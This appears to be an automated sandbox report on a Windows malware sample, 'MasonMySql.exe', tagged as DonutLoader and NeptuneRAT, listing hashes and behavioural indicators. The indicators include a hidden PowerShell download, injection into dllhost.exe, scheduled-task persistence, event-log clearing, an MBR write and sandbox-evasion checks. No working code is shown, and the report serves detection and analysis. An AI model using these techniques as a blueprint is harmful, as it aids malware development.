Analysis
- user interaction
yes - max time kernel
296s - max time network
300s - platform
windows10-ltsc_2021_x64 - resource
win10ltsc2021-20260130-en - resource tags
arch:x64arch:x86image:win10ltsc2021-20260130-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows - submitted
05/05/2026, 16:46
Static task
static1
Behavioral task
behavioral1
Sample
MasonMySql.exe
Resource
win10ltsc2021-20260130-en
General
- Target MasonMySql.exe
- Size 85KB
- Sample260505-vaaahafx4l
- SHA256 da23b9aa136983e637c907eb89903b39ebd517e0dec2c04d7e418fa85945e7c4
- MD5 9612e6ec00375610c4cc0725dc4ab790
- SHA1 029cb9f7fc094722e7cb7a38e270093f8523631b
- SHA512 b85bd4153931cd101c40a0e17841761e5ded389541d5c493d7259801771c90538bc3781ec71fbfdbacb43a4eeb3af722dba3822b1d37fbb05b0b462e98844634
- SSDEEP 1536:TbfojIpD4r45qVhKz0Ig1cQ0u3nHyeG1jiEyqHLQeVRiOIwrXNqq:XiI+r4E80F50u3nHyeMcIoOIwIq
- TLSH T1A983F2A9B2D4A92EE1733B73CD7529F326B89ADD19A442F955CE73544318780CFE0610
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
- Family: NeptuneRAT, MasonRAT
NeptuneRAT aka MasonRAT is a trojan written in C#.
- Detects DonutLoader 2 IoCs
resource yara_rule behavioral1/memory/5988-1-0x0000000000BC0000-0x0000000000BD5000-memory.dmp family_donutloader behavioral1/memory/5988-562-0x000000001B210000-0x000000001B220000-memory.dmp family_donutloader - Detects NeptuneRAT stealer 2 IoCs
resource yara_rule behavioral1/memory/5988-4-0x0000000000C20000-0x0000000000C32000-memory.dmp family_neptunerat behavioral1/memory/4584-764-0x0000000003070000-0x0000000003082000-memory.dmp family_neptunerat - Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 4068 created 616 4068 MasonR.bat 5 - Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 6 4384 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4384 powershell.exe - Downloads MZ/PE file 1 IoCs
flow pid Process 6 4384 powershell.exe - Sets service image path in registry 3 TTPs 1 IoCs
This determines the executable launched when a service starts. It can be used to establish persistence.
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DoSvc\ImagePath = "C:\\Windows\\System32\\svchost.exe -k NetworkService -p" WaaSMedicAgent.exe - Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe - Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-880639880-2214913997-617214392-1000\Control Panel\International\Geo\Nation MasonMySql.exe Key value queried \REGISTRY\USER\S-1-5-21-880639880-2214913997-617214392-1000\Control Panel\International\Geo\Nation MasonKit.com - Executes dropped EXE 7 IoCs
pid Process 5076 MasonKit.com 4068 MasonR.bat 396 MasonMySql.exe 1680 MasonMySql.exe 5500 MasonMySql.exe 4584 MasonMySql.exe 460 MasonMySql.exe - Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs
Clear Windows Event Logs to hide the activity of an intrusion.
description ioc Process File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx svchost.exe - Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
flow ioc 7 raw.githubusercontent.com 8 raw.githubusercontent.com - Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\R: svchost.exe File opened (read-only) \??\X: svchost.exe File opened (read-only) \??\Y: svchost.exe File opened (read-only) \??\A: svchost.exe File opened (read-only) \??\B: svchost.exe File opened (read-only) \??\D: svchost.exe File opened (read-only) \??\N: svchost.exe File opened (read-only) \??\W: svchost.exe File opened (read-only) \??\H: svchost.exe File opened (read-only) \??\I: svchost.exe File opened (read-only) \??\J: svchost.exe File opened (read-only) \??\K: svchost.exe File opened (read-only) \??\L: svchost.exe File opened (read-only) \??\O: svchost.exe File opened (read-only) \??\P: svchost.exe File opened (read-only) \??\S: svchost.exe File opened (read-only) \??\T: svchost.exe File opened (read-only) \??\U: svchost.exe File opened (read-only) \??\V: svchost.exe File opened (read-only) \??\Z: svchost.exe File opened (read-only) \??\G: svchost.exe File opened (read-only) \??\M: svchost.exe File opened (read-only) \??\Q: svchost.exe - Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
description ioc Process File opened for modification \??\PHYSICALDRIVE0 wmiprvse.exe - Drops file in System32 directory 21 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A78F3FA67C4AE1391DAF255794995271 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419 svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D lsass.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\Microsoft\Protect\S-1-5-18\User\Preferred lsass.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\UpdateModelTask svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan Static Task svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A svchost.exe File opened for modification C:\Windows\system32\Microsoft\Protect\S-1-5-18\User\adcfc0e8-1fe1-4c51-9384-cb4e70707b15 lsass.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6B2043001D270792DFFD725518EAFE2C svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 4068 set thread context of 1164 4068 MasonR.bat 88 - Drops file in Windows directory 6 IoCs
description ioc Process File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.edb svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm svchost.exe File opened for modification C:\Windows\SoftwareDistribution\ReportingEvents.log svchost.exe File opened for modification C:\Windows\WindowsUpdate.log svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk svchost.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks SCSI registry key(s) 3 TTPs 6 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\CompatibleIDs svchost.exe - Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ProviderPasswordCharacterGroups = "2" svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02nomanxbnckzlpf\DeviceId = "<Data LastUpdatedTime=\"1769743037\"><User username=\"02NOMANXBNCKZLPF\"><HardwareInfo BoundTime=\"1769743039\" TpmKeyStateClient=\"1\" TpmKeyStateServer=\"3\" LicenseKeySequence=\"1\" LicenseInstallError=\"0\" LicenseKeyVersion=\"2\"/></User></Data>\r\n" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates svchost.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02nomanxbnckzlpf\DeviceId = "<Data LastUpdatedTime=\"1769743037\"><User username=\"02NOMANXBNCKZLPF\"><HardwareInfo BoundTime=\"1777999636\" TpmKeyStateClient=\"1\" TpmKeyStateServer=\"3\" LicenseKeySequence=\"631\" LicenseInstallError=\"0\" LicenseKeyVersion=\"2\"/></User></Data>\r\n" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople WaaSMedicAgent.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={3E73E090-52BA-4103-B81B-1E4F0165638A}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates WaaSMedicAgent.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 50,1329 10,1329 15,1329 100,1329 6" OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates svchost.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2784 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4384 powershell.exe 4384 powershell.exe 4068 MasonR.bat 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3380 Explorer.EXE - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 5988 MasonMySql.exe Token: SeDebugPrivilege 4384 powershell.exe Token: SeDebugPrivilege 4068 MasonR.bat Token: SeDebugPrivilege 4068 MasonR.bat Token: SeDebugPrivilege 1164 dllhost.exe Token: SeDebugPrivilege 396 MasonMySql.exe Token: SeShutdownPrivilege 3572 svchost.exe Token: SeCreatePagefilePrivilege 3572 svchost.exe Token: SeShutdownPrivilege 3572 svchost.exe Token: SeCreatePagefilePrivilege 3572 svchost.exe Token: SeShutdownPrivilege 3572 svchost.exe Token: SeCreatePagefilePrivilege 3572 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2356 svchost.exe Token: SeIncreaseQuotaPrivilege 2356 svchost.exe Token: SeSecurityPrivilege 2356 svchost.exe Token: SeTakeOwnershipPrivilege 2356 svchost.exe Token: SeLoadDriverPrivilege 2356 svchost.exe Token: SeBackupPrivilege 2356 svchost.exe Token: SeRestorePrivilege 2356 svchost.exe Token: SeShutdownPrivilege 2356 svchost.exe Token: SeSystemEnvironmentPrivilege 2356 svchost.exe Token: SeManageVolumePrivilege 2356 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2356 svchost.exe Token: SeIncreaseQuotaPrivilege 2356 svchost.exe Token: SeSecurityPrivilege 2356 svchost.exe Token: SeTakeOwnershipPrivilege 2356 svchost.exe Token: SeLoadDriverPrivilege 2356 svchost.exe Token: SeSystemtimePrivilege 2356 svchost.exe Token: SeBackupPrivilege 2356 svchost.exe Token: SeRestorePrivilege 2356 svchost.exe Token: SeShutdownPrivilege 2356 svchost.exe Token: SeSystemEnvironmentPrivilege 2356 svchost.exe Token: SeUndockPrivilege 2356 svchost.exe Token: SeManageVolumePrivilege 2356 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2356 svchost.exe Token: SeIncreaseQuotaPrivilege 2356 svchost.exe Token: SeSecurityPrivilege 2356 svchost.exe Token: SeTakeOwnershipPrivilege 2356 svchost.exe Token: SeLoadDriverPrivilege 2356 svchost.exe Token: SeSystemtimePrivilege 2356 svchost.exe Token: SeBackupPrivilege 2356 svchost.exe Token: SeRestorePrivilege 2356 svchost.exe Token: SeShutdownPrivilege 2356 svchost.exe Token: SeSystemEnvironmentPrivilege 2356 svchost.exe Token: SeUndockPrivilege 2356 svchost.exe Token: SeManageVolumePrivilege 2356 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2356 svchost.exe Token: SeIncreaseQuotaPrivilege 2356 svchost.exe Token: SeSecurityPrivilege 2356 svchost.exe Token: SeTakeOwnershipPrivilege 2356 svchost.exe Token: SeLoadDriverPrivilege 2356 svchost.exe Token: SeSystemtimePrivilege 2356 svchost.exe Token: SeBackupPrivilege 2356 svchost.exe Token: SeRestorePrivilege 2356 svchost.exe Token: SeShutdownPrivilege 2356 svchost.exe Token: SeSystemEnvironmentPrivilege 2356 svchost.exe Token: SeUndockPrivilege 2356 svchost.exe Token: SeManageVolumePrivilege 2356 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2356 svchost.exe Token: SeIncreaseQuotaPrivilege 2356 svchost.exe Token: SeSecurityPrivilege 2356 svchost.exe Token: SeTakeOwnershipPrivilege 2356 svchost.exe Token: SeLoadDriverPrivilege 2356 svchost.exe Token: SeSystemtimePrivilege 2356 svchost.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 5988 wrote to memory of 4384 5988 MasonMySql.exe 82 PID 4384 wrote to memory of 5076 4384 powershell.exe 84 PID 5988 wrote to memory of 2784 5988 MasonMySql.exe 85 PID 5076 wrote to memory of 4068 5076 MasonKit.com 87 PID 4068 wrote to memory of 1164 4068 MasonR.bat 88 PID 4068 wrote to memory of 1164 4068 MasonR.bat 88 PID 4068 wrote to memory of 1164 4068 MasonR.bat 88 PID 4068 wrote to memory of 1164 4068 MasonR.bat 88 PID 4068 wrote to memory of 1164 4068 MasonR.bat 88 PID 4068 wrote to memory of 1164 4068 MasonR.bat 88 PID 4068 wrote to memory of 1164 4068 MasonR.bat 88 PID 4068 wrote to memory of 1164 4068 MasonR.bat 88 PID 4068 wrote to memory of 1164 4068 MasonR.bat 88 PID 1164 wrote to memory of 616 1164 dllhost.exe 5 PID 1164 wrote to memory of 672 1164 dllhost.exe 7 PID 1164 wrote to memory of 880 1164 dllhost.exe 11 PID 1164 wrote to memory of 1008 1164 dllhost.exe 13 PID 1164 wrote to memory of 752 1164 dllhost.exe 14 PID 1164 wrote to memory of 688 1164 dllhost.exe 15 PID 1164 wrote to memory of 1004 1164 dllhost.exe 16 PID 1164 wrote to memory of 1028 1164 dllhost.exe 17 PID 1164 wrote to memory of 1112 1164 dllhost.exe 18 PID 1164 wrote to memory of 1152 1164 dllhost.exe 19 PID 1164 wrote to memory of 1180 1164 dllhost.exe 20 PID 1164 wrote to memory of 1192 1164 dllhost.exe 21 PID 1164 wrote to memory of 1220 1164 dllhost.exe 22 PID 1164 wrote to memory of 1508 1164 dllhost.exe 24 PID 1164 wrote to memory of 1516 1164 dllhost.exe 25 PID 1164 wrote to memory of 1532 1164 dllhost.exe 26 PID 1164 wrote to memory of 1556 1164 dllhost.exe 27 PID 1164 wrote to memory of 1580 1164 dllhost.exe 28 PID 1164 wrote to memory of 1764 1164 dllhost.exe 29 PID 1164 wrote to memory of 1792 1164 dllhost.exe 30 PID 1164 wrote to memory of 1808 1164 dllhost.exe 31 PID 1164 wrote to memory of 1816 1164 dllhost.exe 32 PID 1164 wrote to memory of 1908 1164 dllhost.exe 33 PID 1164 wrote to memory of 2012 1164 dllhost.exe 34 PID 1164 wrote to memory of 1136 1164 dllhost.exe 35 PID 1164 wrote to memory of 1964 1164 dllhost.exe 36 PID 1164 wrote to memory of 2052 1164 dllhost.exe 37 PID 1164 wrote to memory of 2088 1164 dllhost.exe 38 PID 1164 wrote to memory of 2140 1164 dllhost.exe 39 PID 1164 wrote to memory of 2328 1164 dllhost.exe 40 PID 1164 wrote to memory of 2356 1164 dllhost.exe 41 PID 1164 wrote to memory of 2472 1164 dllhost.exe 43 PID 1164 wrote to memory of 2604 1164 dllhost.exe 45 PID 1164 wrote to memory of 2616 1164 dllhost.exe 46 PID 1164 wrote to memory of 2720 1164 dllhost.exe 47 PID 1164 wrote to memory of 2756 1164 dllhost.exe 48 PID 1164 wrote to memory of 2860 1164 dllhost.exe 49 PID 1164 wrote to memory of 2868 1164 dllhost.exe 50 PID 1164 wrote to memory of 2884 1164 dllhost.exe 51 PID 1164 wrote to memory of 2972 1164 dllhost.exe 52 PID 1164 wrote to memory of 3084 1164 dllhost.exe 53 PID 1164 wrote to memory of 3144 1164 dllhost.exe 54 PID 1164 wrote to memory of 3184 1164 dllhost.exe 55 PID 1164 wrote to memory of 3308 1164 dllhost.exe 56 PID 1164 wrote to memory of 3380 1164 dllhost.exe 57 PID 1164 wrote to memory of 3540 1164 dllhost.exe 58 PID 1164 wrote to memory of 3820 1164 dllhost.exe 60 PID 1164 wrote to memory of 4084 1164 dllhost.exe 62 PID 1164 wrote to memory of 4216 1164 dllhost.exe 63 PID 1164 wrote to memory of 4204 1164 dllhost.exe 65 PID 1164 wrote to memory of 5412 1164 dllhost.exe 66 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:616
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:1152
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{59340456-41c9-42d2-8768-39dd5a8a637e}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1164
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
- Drops file in System32 directory
PID:672
